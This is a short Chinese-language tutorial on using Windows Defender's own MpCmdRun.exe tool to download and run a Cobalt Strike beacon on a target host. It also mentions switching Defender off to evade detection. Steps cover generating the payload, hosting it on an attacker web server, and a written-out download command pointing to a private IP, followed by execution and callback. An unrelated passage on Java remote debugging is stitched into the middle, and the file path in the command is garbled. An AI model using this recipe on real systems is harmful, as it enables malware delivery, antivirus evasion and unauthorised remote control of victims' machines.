文章前言

Windows Defender是Windows 10系列自带的一款系统保护程序，可以对系统中的恶意程序、恶意行为进行查杀，与此同时，我们可以使用Windows Defender自带的命令执行工具"MpCmdRun.exe"来实现远程下载恶意文件的目的，但是免杀好像还是不太可靠，不过我们可以在cmd中关闭Windows Defender，所以这样一来，一结合就变得有意思多了，不管在使用该思路的过程中还需要权限提升，但是CS因为在后渗透测试中有很好的辅助功能，所以总体来说还是划算的~

具体实现

Step 1：在cobaltstrike中生成恶意攻击载荷

Java调试

通过 JDWP 实现 Java 远程调试：连接远程 JVM、设置断点、单步执行代码、查看变量值、获取调用栈。适用于需要调试远程 Java 应用、排查运行时状态、追踪代码执行流程的场景。 术语注解 JDWP：Java Debug Wire Protocol，Java 调试有线协议（Java 远程调试底层通信协议） remote JVM：远程 Java 虚拟机 step through code：代码单步调试（步入 / 步过 / 步出调试） inspect variables：变量查看 / 变量检视 stac

下载

Step 2：在攻击主机中搭建web服务托管beacon.exe程序

Step 3：在目标主机上使用Windows Defender自带的MpCmdRun.exe程序下载恶意文件

代码语言：javascript代码运行次数：0运行复制

"C:ProgramDataMicrosoftWindows DefenderPlatform.18.2008.9-0MpCmdRun.exe" -DownloadFile -url http://192.168.188.129:6666/beacon.exe -path c:\users\resnd\Desktop\c-beacon.exe

Step 4：之后执行恶意文件，可以看到在CS中成功上线